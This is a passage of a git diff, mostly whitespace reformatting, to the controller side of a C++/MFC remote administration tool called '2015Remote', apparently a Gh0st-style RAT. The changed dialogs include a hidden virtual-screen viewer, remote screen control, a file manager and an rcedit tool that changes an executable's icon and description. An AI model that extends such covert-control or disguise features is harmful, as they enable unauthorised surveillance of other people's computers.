b/server/2015Remote/CDlgFileSend.cpp @@ -27,7 +27,7 @@ void CDlgFileSend::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CDlgFileSend, CDialog) ON_WM_CLOSE() - ON_WM_TIMER() + ON_WM_TIMER() ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress) ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend) END_MESSAGE_MAP() @@ -84,8 +84,8 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam) SetDlgItemTextA(IDC_STATIC_CURRENT_FILE, *pFile); m_Progress.SetPos(percent); ShowWindow(SW_SHOW); - BringWindowToTop(); - SetForegroundWindow(); + BringWindowToTop(); + SetForegroundWindow(); if (percent>=100.) SetTimer(1, 3000, NULL); delete pChunk; @@ -133,9 +133,10 @@ void CDlgFileSend::OnClose() DialogBase::OnClose(); } -void CDlgFileSend::OnTimer(UINT_PTR nIDEvent) { +void CDlgFileSend::OnTimer(UINT_PTR nIDEvent) +{ if (nIDEvent == 1) { KillTimer(1); - PostMessageA(WM_CLOSE, 0, 0); - } + PostMessageA(WM_CLOSE, 0, 0); + } } diff --git a/server/2015Remote/CRcEditDlg.cpp b/server/2015Remote/CRcEditDlg.cpp index 7841182..81c6905 100644 --- a/server/2015Remote/CRcEditDlg.cpp +++ b/server/2015Remote/CRcEditDlg.cpp @@ -35,7 +35,7 @@ void CRcEditDlg::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sIcoPath, 256); DDX_Control(pDX, IDC_EDIT_PROCESS_DESC, m_EditProcessDesc); DDX_Text(pDX, IDC_EDIT_PROCESS_DESC, m_sProcessDesc); - DDV_MaxChars(pDX, m_sProcessDesc, 135); + DDV_MaxChars(pDX, m_sProcessDesc, 135); } @@ -65,7 +65,7 @@ void CRcEditDlg::OnOK() MessageBoxL("请选择目标应用程序!", "提示", MB_ICONINFORMATION); return; } - m_EditProcessDesc.GetWindowTextA(m_sProcessDesc); + m_EditProcessDesc.GetWindowTextA(m_sProcessDesc); if (m_sIcoPath.IsEmpty() && m_sProcessDesc.IsEmpty()) { MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION); return; @@ -80,7 +80,7 @@ void CRcEditDlg::OnOK() } std::string exe = m_sExePath.GetString(); std::string icon = m_sIcoPath.GetString(); - std::string desc = m_sProcessDesc.GetString(); + std::string desc = m_sProcessDesc.GetString(); std::string cmdLine = "\"" + rcedit + "\" \"" + exe + "\""; if (!icon.empty()) cmdLine += " --set-icon \"" + icon + "\""; @@ -89,7 +89,7 @@ void CRcEditDlg::OnOK() int result = run_cmd(cmdLine); if (result) { MessageBoxL(_TR("PE 操作失败,错误代码: ") + std::to_string(result).c_str(), - "提示", MB_ICONINFORMATION); + "提示", MB_ICONINFORMATION); return; } diff --git a/server/2015Remote/CUpdateDlg.cpp b/server/2015Remote/CUpdateDlg.cpp index 0b55c2f..4ffa3be 100644 --- a/server/2015Remote/CUpdateDlg.cpp +++ b/server/2015Remote/CUpdateDlg.cpp @@ -11,8 +11,8 @@ IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx) CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/) - : CDialogLangEx(IDD_DIALOG_UPDATE, pParent) - , m_nSelected(0) + : CDialogLangEx(IDD_DIALOG_UPDATE, pParent) + , m_nSelected(0) { } @@ -23,9 +23,9 @@ CUpdateDlg::~CUpdateDlg() void CUpdateDlg::DoDataExchange(CDataExchange* pDX) { - __super::DoDataExchange(pDX); - DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect); - DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected); + __super::DoDataExchange(pDX); + DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect); + DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected); } @@ -37,12 +37,12 @@ END_MESSAGE_MAP() BOOL CUpdateDlg::OnInitDialog() { - __super::OnInitDialog(); + __super::OnInitDialog(); - // TODO: 在此添加额外的初始化 - m_ComboUpdateSelect.InsertStringL(0, _T("TestRun")); - m_ComboUpdateSelect.InsertStringL(1, _T("Ghost")); - m_ComboUpdateSelect.SetCurSel(1); + // TODO: 在此添加额外的初始化 + m_ComboUpdateSelect.InsertStringL(0, _T("TestRun")); + m_ComboUpdateSelect.InsertStringL(1, _T("Ghost")); + m_ComboUpdateSelect.SetCurSel(1); - return TRUE; + return TRUE; } diff --git a/server/2015Remote/CUpdateDlg.h b/server/2015Remote/CUpdateDlg.h index 2590880..4b514cb 100644 --- a/server/2015Remote/CUpdateDlg.h +++ b/server/2015Remote/CUpdateDlg.h @@ -6,23 +6,23 @@ class CUpdateDlg : public CDialogLangEx { - DECLARE_DYNAMIC(CUpdateDlg) + DECLARE_DYNAMIC(CUpdateDlg) public: - CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数 - virtual ~CUpdateDlg(); + CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数 + virtual ~CUpdateDlg(); // 对话框数据 #ifdef AFX_DESIGN_TIME - enum { IDD = IDD_DIALOG_UPDATE }; + enum { IDD = IDD_DIALOG_UPDATE }; #endif protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 - DECLARE_MESSAGE_MAP() + DECLARE_MESSAGE_MAP() public: - CComboBox m_ComboUpdateSelect; - virtual BOOL OnInitDialog(); - int m_nSelected; + CComboBox m_ComboUpdateSelect; + virtual BOOL OnInitDialog(); + int m_nSelected; }; diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index d217155..772dcbf 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -48,7 +48,7 @@ BOOL CChat::OnInitDialog() CString str; str.FormatL(_T("远程交谈 - %s"), m_ContextObject->PeerName.c_str()), - SetWindowText(str); + SetWindowText(str); m_editTip.SetWindowTextL("提示: 对方聊天对话框在发送消息后才会弹出"); m_editNewMsg.SetLimitText(4079); // TODO: Add extra initialization here diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 24088be..0e1a632 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -1320,7 +1320,10 @@ void CFileManagerDlg::LocalSearchWorker() else lstrcpy(szPattern, (LPCSTR)m_strLocalSearchName); - struct SearchDir { CString path; int depth; }; + struct SearchDir { + CString path; + int depth; + }; std::vector dirStack; dirStack.push_back({m_strLocalSearchPath, 0}); @@ -1387,7 +1390,7 @@ LRESULT CFileManagerDlg::OnLocalSearchProgress(WPARAM wParam, LPARAM lParam) if (!m_bLocalSearching || m_bLocalSearchStopped) return 0; DWORD dwElapsed = (GetTickCount() - m_dwLocalSearchStartTime) / 1000; ShowMessage(_TRF("搜索 \"%s\" 在 %s ... 已找到 %d 个 (%d秒)"), - m_strLocalSearchName, m_strLocalSearchPath, (int)wParam, dwElapsed); + m_strLocalSearchName, m_strLocalSearchPath, (int)wParam, dwElapsed); return 0; } @@ -1439,10 +1442,10 @@ LRESULT CFileManagerDlg::OnLocalSearchDone(WPARAM wParam, LPARAM lParam) DWORD dwElapsed = (GetTickCount() - m_dwLocalSearchStartTime) / 1000; if (wParam) // 正常完成 ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成,共 %d 个结果 (耗时 %d秒)"), - m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); + m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); else // 被停止 ShowMessage(_TRF("搜索 \"%s\" 在 %s 已停止,共 %d 个结果 (耗时 %d秒)"), - m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); + m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); m_bLocalSearching = false; m_list_local.EnableWindow(TRUE); @@ -1883,7 +1886,7 @@ void CFileManagerDlg::OnLocalCompress() zsta::Error err = zsta::CZstdArchive::Compress(paths, target); if (err != zsta::Error::Success) { MessageBoxAPI_L(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), - "错误", MB_OK | MB_ICONERROR); + "错误", MB_OK | MB_ICONERROR); } else { FixedLocalFileList("."); } @@ -1926,7 +1929,7 @@ void CFileManagerDlg::OnLocalUnCompress() zsta::Error err = zsta::CZstdArchive::Extract(path, destDir); if (err != zsta::Error::Success) { MessageBoxAPI_L(m_hWnd, "解压失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), - "错误", MB_OK | MB_ICONERROR); + "错误", MB_OK | MB_ICONERROR); } else { needRefresh = TRUE; } diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index 3c0a8f8..affd2a2 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -158,7 +158,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog() __super::OnInitDialog(); CString strString; strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress, - m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); // Set the icon for this dialog. The framework does this automatically @@ -468,7 +468,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int code; if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) { MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " + - CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); + CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); m_aviFile = _T(""); } else { ::SetTimer(m_hWnd, TIMER_ID, duration, NULL); diff --git a/server/2015Remote/HostInfo.h b/server/2015Remote/HostInfo.h index 4bf555f..d0ba06a 100644 --- a/server/2015Remote/HostInfo.h +++ b/server/2015Remote/HostInfo.h @@ -15,7 +15,8 @@ enum { }; #pragma pack(push, 1) -class _ClientValue { +class _ClientValue +{ public: char Note[64]; char Location[64]; @@ -43,7 +44,8 @@ typedef _ClientValue ClientValue; typedef std::unordered_map ClientMap; -class _ClientList { +class _ClientList +{ public: virtual ~_ClientList() {} virtual bool Exists(ClientKey key) = 0; diff --git a/server/2015Remote/IOCPKCPServer.h b/server/2015Remote/IOCPKCPServer.h index db74d15..437e31a 100644 --- a/server/2015Remote/IOCPKCPServer.h +++ b/server/2015Remote/IOCPKCPServer.h @@ -30,8 +30,8 @@ public: { char client_ip[INET_ADDRSTRLEN]; #if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501) - strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); - client_ip[INET_ADDRSTRLEN - 1] = '\0'; + strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); + client_ip[INET_ADDRSTRLEN - 1] = '\0'; #else inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); #endif diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 2ccde24..60dba45 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -34,7 +34,7 @@ std::string GetRemoteIP(SOCKET sock) IOCPServer::IOCPServer(HWND hWnd) { - m_hMainWnd = hWnd; + m_hMainWnd = hWnd; WSADATA wsaData; if (WSAStartup(MAKEWORD(2,2), &wsaData)!=0) { return; @@ -763,17 +763,17 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s) if (m_ContextConnectionList.GetCount() >= m_ulMaxConnections) { static uint64_t notifyTime = 0; - auto now = time(0); + auto now = time(0); if (now - notifyTime > 15) { notifyTime = now; Mprintf("!!! AllocateContext: 达到最大连接数 %lu,拒绝新连接\n", m_ulMaxConnections); if (m_hMainWnd) { - char tip[256]; - sprintf_s(tip, _TRF("达到最大连接数限制: %lu, 请释放连接"), m_ulMaxConnections); + char tip[256]; + sprintf_s(tip, _TRF("达到最大连接数限制: %lu, 请释放连接"), m_ulMaxConnections); PostMessageA(m_hMainWnd, WM_SHOWNOTIFY, (WPARAM)new CharMsg(_TR("达到最大连接数")), - (LPARAM)new CharMsg(tip)); + (LPARAM)new CharMsg(tip)); } - } + } return NULL; } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 80f5857..82afb60 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -56,7 +56,7 @@ protected: CRITICAL_SECTION m_cs; ContextObjectList m_ContextConnectionList; ContextObjectList m_ContextFreePoolList; - HWND m_hMainWnd = nullptr; + HWND m_hMainWnd = nullptr; private: static DWORD WINAPI ListenThreadProc(LPVOID lParam); @@ -131,7 +131,7 @@ public: CDialogLang(nIDTemplate, pParent) { m_bConnected = TRUE; - m_nDisconnectTime = 0; + m_nDisconnectTime = 0; m_IPAddress = pContext->GetPeerName().c_str(); m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; } diff --git a/server/2015Remote/InputDlg.cpp b/server/2015Remote/InputDlg.cpp index ad4d08f..515488e 100644 --- a/server/2015Remote/InputDlg.cpp +++ b/server/2015Remote/InputDlg.cpp @@ -31,7 +31,7 @@ void CInputDialog::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sSecondInput, 100); DDX_Control(pDX, IDC_STATIC_TIPINFO, m_StaticTipInfo); DDX_Text(pDX, IDC_STATIC_TIPINFO, m_sTipInfo); - DDV_MaxChars(pDX, m_sTipInfo, 64); + DDV_MaxChars(pDX, m_sTipInfo, 64); } @@ -69,7 +69,7 @@ BOOL CInputDialog::OnInitDialog() m_Static2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); m_Edit2thInput.SetWindowTextA(m_sSecondInput); m_Edit2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); - m_StaticTipInfo.SetWindowTextA(m_sTipInfo); + m_StaticTipInfo.SetWindowTextA(m_sTipInfo); m_StaticTipInfo.ShowWindow(m_sTipInfo.IsEmpty() ? SW_HIDE : SW_SHOW); return TRUE; // return TRUE unless you set the focus to a control diff --git a/server/2015Remote/LangManager.h b/server/2015Remote/LangManager.h index 028a86a..9457529 100644 --- a/server/2015Remote/LangManager.h +++ b/server/2015Remote/LangManager.h @@ -249,8 +249,14 @@ public: // 翻译函数 - 用于 CString 变量或 LPCTSTR // 用法: _L(strVar) 或 _L(_T("中文")) -inline CString _L(const CString& str) { return g_Lang.Get(str); } -inline CString _L(LPCTSTR str) { return g_Lang.Get(CString(str)); } +inline CString _L(const CString& str) +{ + return g_Lang.Get(str); +} +inline CString _L(LPCTSTR str) +{ + return g_Lang.Get(CString(str)); +} // 翻译宏 - 用于格式化函数中的变量 (返回 LPCTSTR) // 用法: _stprintf_s(buf, _LF(strVar), arg); @@ -402,11 +408,11 @@ inline void TranslateMenu(CMenu* pMenu) if (pSubMenu) { // 弹出菜单使用 MF_POPUP pMenu->ModifyMenu(i, MF_BYPOSITION | MF_POPUP | MF_STRING, - (UINT_PTR)pSubMenu->GetSafeHmenu(), newText); + (UINT_PTR)pSubMenu->GetSafeHmenu(), newText); } else { // 普通菜单项 pMenu->ModifyMenu(i, MF_BYPOSITION | MF_STRING, - pMenu->GetMenuItemID(i), newText); + pMenu->GetMenuItemID(i), newText); } } } @@ -469,7 +475,7 @@ inline void TranslateListHeader(CListCtrl* pList) class CDialogLang : public CDialog { public: - CDialogLang(){} + CDialogLang() {} CDialogLang(UINT nIDTemplate, CWnd* pParent = NULL) : CDialog(nIDTemplate, pParent) {} @@ -571,19 +577,19 @@ protected: // 静态文本 AddControl(0x0082, 15, 15, 40, 12, (WORD)-1, - SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:")); + SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:")); // ComboBox AddControl(0x0085, 55, 13, 130, 150, 1001, - CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); + CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T("")); // 确定按钮 AddControl(0x0080, 45, 50, 50, 14, IDOK, - BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定")); + BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定")); // 取消按钮 AddControl(0x0080, 105, 50, 50, 14, IDCANCEL, - BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消")); + BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消")); return (LPCDLGTEMPLATE)m_templateBuffer.data(); } @@ -594,7 +600,10 @@ protected: m_templateBuffer.insert(m_templateBuffer.end(), p, p + size); } - void AppendWord(WORD w) { AppendData(&w, sizeof(WORD)); } + void AppendWord(WORD w) + { + AppendData(&w, sizeof(WORD)); + } void AppendString(LPCTSTR str) { @@ -615,12 +624,15 @@ protected: } void AddControl(WORD classAtom, short x, short y, short cx, short cy, - WORD id, DWORD style, LPCTSTR text) + WORD id, DWORD style, LPCTSTR text) { AlignToDword(); DLGITEMTEMPLATE item = { 0 }; item.style = style; - item.x = x; item.y = y; item.cx = cx; item.cy = cy; + item.x = x; + item.y = y; + item.cx = cx; + item.cy = cy; item.id = id; AppendData(&item, sizeof(DLGITEMTEMPLATE)); AppendWord(0xFFFF); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index d883a6e..fc34681 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -328,16 +328,15 @@ BOOL CScreenSpyDlg::OnInitDialog() if (m_Settings.ScreenStrategy == 0) { SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); - } - else if (m_Settings.ScreenStrategy == 1) { + } else if (m_Settings.ScreenStrategy == 1) { SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); } - int fpsIndex = IDM_FPS_10 + (m_Settings.MaxFPS - 10)/5; + int fpsIndex = IDM_FPS_10 + (m_Settings.MaxFPS - 10)/5; for (int i = IDM_FPS_10; i <= IDM_FPS_UNLIMITED; i++) { SysMenu->CheckMenuItem(i, MF_UNCHECKED); - } - SysMenu->CheckMenuItem(fpsIndex, MF_CHECKED); + } + SysMenu->CheckMenuItem(fpsIndex, MF_CHECKED); // 设置滚动检测间隔选中状态 SysMenu->CheckMenuItem(IDM_SCROLL_DETECT_OFF, MF_UNCHECKED); @@ -402,8 +401,8 @@ VOID CScreenSpyDlg::OnClose() CWnd* pMain = AfxGetMainWnd(); if (pMain) ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)nullptr, 0); - KillTimer(1); - KillTimer(2); + KillTimer(1); + KillTimer(2); KillTimer(3); KillTimer(4); if (!m_aviFile.IsEmpty()) { @@ -436,8 +435,8 @@ VOID CScreenSpyDlg::OnClose() afx_msg LRESULT CScreenSpyDlg::OnDisconnect(WPARAM wParam, LPARAM lParam) { m_bConnected = FALSE; - m_nDisconnectTime = GetTickCount64(); - // Close the dialog if reconnect not succeed in 15 seconds + m_nDisconnectTime = GetTickCount64(); + // Close the dialog if reconnect not succeed in 15 seconds SetTimer(2, 15000, NULL); SetTimer(3, 3000, NULL); PostMessage(WM_PAINT); @@ -472,22 +471,26 @@ VOID CScreenSpyDlg::OnReceiveComplete() } case TOKEN_FIRSTSCREEN: { DrawFirstScreen(); + m_ulFramesThisSecond++; break; } case TOKEN_NEXTSCREEN: { DrawNextScreenDiff(false); + m_ulFramesThisSecond++; break; } case TOKEN_KEYFRAME: { if (!m_bIsFirst) { DrawNextScreenDiff(true); } + m_ulFramesThisSecond++; break; } case TOKEN_SCROLL_FRAME: { if (!m_bIsFirst) { DrawScrollFrame(); } + m_ulFramesThisSecond++; break; } case TOKEN_CLIPBOARD_TEXT: { @@ -785,7 +788,7 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) void CScreenSpyDlg::OnPaint() { - if (m_bIsClosed) return; + if (m_bIsClosed) return; CPaintDC dc(this); // device context for painting if (m_bIsFirst) { @@ -798,13 +801,13 @@ void CScreenSpyDlg::OnPaint() BitBlt(m_hFullDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY); if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) { - CPoint ptLocal; - GetCursorPos(&ptLocal); - ScreenToClient(&ptLocal); + CPoint ptLocal; + GetCursorPos(&ptLocal); + ScreenToClient(&ptLocal); - CRect rcToolbar(0, 0, 0, 0); - if (m_pToolbar) m_pToolbar->GetWindowRect(&rcToolbar), ScreenToClient(&rcToolbar); - // 只有当本地鼠标不在工具栏区域时,才绘制远程位图光标 + CRect rcToolbar(0, 0, 0, 0); + if (m_pToolbar) m_pToolbar->GetWindowRect(&rcToolbar), ScreenToClient(&rcToolbar); + // 只有当本地鼠标不在工具栏区域时,才绘制远程位图光标 if (!rcToolbar.PtInRect(ptLocal)) { // 1. 计算缩放位置 @@ -823,61 +826,57 @@ void CScreenSpyDlg::OnPaint() } if (!m_bConnected && GetTickCount64() - m_nDisconnectTime>2000) { DrawTipString("正在重连......", 2); - } + } } BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) { - if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) - { - ::SetCursor(NULL); // 只要在客户区,始终隐藏系统光标 - return TRUE; // 告诉 Windows 我们处理过了 - } - return __super::OnSetCursor(pWnd, nHitTest, message); + if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) { + ::SetCursor(NULL); // 只要在客户区,始终隐藏系统光标 + return TRUE; // 告诉 Windows 我们处理过了 + } + return __super::OnSetCursor(pWnd, nHitTest, message); } VOID CScreenSpyDlg::DrawTipString(CString strString, int fillMode) { - // fillMode: 0=不填充, 1=全黑, 2=半透明 - RECT Rect; - GetClientRect(&Rect); - int width = Rect.right - Rect.left; - int height = Rect.bottom - Rect.top; + // fillMode: 0=不填充, 1=全黑, 2=半透明 + RECT Rect; + GetClientRect(&Rect); + int width = Rect.right - Rect.left; + int height = Rect.bottom - Rect.top; - if (fillMode == 1) - { - // 原来的全黑效果 - COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00); - SetBkColor(m_hFullDC, BackgroundColor); - ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL); - } - else if (fillMode == 2) - { - // 半透明效果 - HDC hMemDC = CreateCompatibleDC(m_hFullDC); - HBITMAP hBitmap = CreateCompatibleBitmap(m_hFullDC, width, height); - HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); + if (fillMode == 1) { + // 原来的全黑效果 + COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00); + SetBkColor(m_hFullDC, BackgroundColor); + ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL); + } else if (fillMode == 2) { + // 半透明效果 + HDC hMemDC = CreateCompatibleDC(m_hFullDC); + HBITMAP hBitmap = CreateCompatibleBitmap(m_hFullDC, width, height); + HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); - HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); - FillRect(hMemDC, &Rect, hBrush); - DeleteObject(hBrush); + HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); + FillRect(hMemDC, &Rect, hBrush); + DeleteObject(hBrush); - BLENDFUNCTION blend = { 0 }; - blend.BlendOp = AC_SRC_OVER; - blend.SourceConstantAlpha = 150; - blend.AlphaFormat = 0; + BLENDFUNCTION blend = { 0 }; + blend.BlendOp = AC_SRC_OVER; + blend.SourceConstantAlpha = 150; + blend.AlphaFormat = 0; - AlphaBlend(m_hFullDC, 0, 0, width, height, - hMemDC, 0, 0, width, height, blend); + AlphaBlend(m_hFullDC, 0, 0, width, height, + hMemDC, 0, 0, width, height, blend); - SelectObject(hMemDC, hOldBitmap); - DeleteObject(hBitmap); - DeleteDC(hMemDC); - } + SelectObject(hMemDC, hOldBitmap); + DeleteObject(hBitmap); + DeleteDC(hMemDC); + } - SetBkMode(m_hFullDC, TRANSPARENT); - SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); - DrawText(m_hFullDC, strString, -1, &Rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); + SetBkMode(m_hFullDC, TRANSPARENT); + SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); + DrawText(m_hFullDC, strString, -1, &Rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } bool DirectoryExists(const char* path) @@ -926,15 +925,15 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) case IDM_FULLSCREEN: { // 全屏 EnterFullScreen(); SysMenu->CheckMenuItem(IDM_FULLSCREEN, MF_CHECKED); //菜单样式 - BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = TRUE }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); + BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = TRUE }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); break; } case IDM_REMOTE_CURSOR: { - BYTE cmd[4] = { CMD_REMOTE_CURSOR, m_Settings.RemoteCursor = !m_Settings.RemoteCursor }; + BYTE cmd[4] = { CMD_REMOTE_CURSOR, m_Settings.RemoteCursor = !m_Settings.RemoteCursor }; SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED); - m_ContextObject->Send2Client(cmd, sizeof(cmd)); - break; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + break; } case IDM_SAVEDIB: { // 快照保存 SaveSnapshot(); @@ -957,7 +956,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int code; if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) { MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " + - CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); + CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); m_aviFile = _T(""); } else { ::SetTimer(m_hWnd, TIMER_ID, duration, NULL); @@ -979,7 +978,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken[2] = { CMD_MULTITHREAD_COMPRESS, (BYTE)threadNum }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); SysMenu->CheckMenuItem(nID, threadNum ? MF_CHECKED : MF_UNCHECKED); - m_Settings.CompressThread = threadNum; + m_Settings.CompressThread = threadNum; break; } @@ -987,9 +986,9 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) const int strategy = 1; BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); - m_Settings.ScreenStrategy = strategy; - SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); - SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); + m_Settings.ScreenStrategy = strategy; + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_UNCHECKED); break; } @@ -998,8 +997,8 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; m_ContextObject->Send2Client(cmd, sizeof(cmd)); m_Settings.ScreenStrategy = strategy; - SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); - SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); + SysMenu->CheckMenuItem(IDM_SCREEN_1080P, MF_CHECKED); + SysMenu->CheckMenuItem(IDM_ORIGINAL_SIZE, MF_UNCHECKED); break; } @@ -1012,11 +1011,11 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int fps = 10 + (nID - IDM_FPS_10) * 5; BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps }; m_ContextObject->Send2Client(bToken, sizeof(bToken)); - m_Settings.MaxFPS = nID == IDM_FPS_UNLIMITED ? 255 : fps; + m_Settings.MaxFPS = nID == IDM_FPS_UNLIMITED ? 255 : fps; for (int i = IDM_FPS_10; i <= IDM_FPS_UNLIMITED; i++) { - SysMenu->CheckMenuItem(i, MF_UNCHECKED); - } - 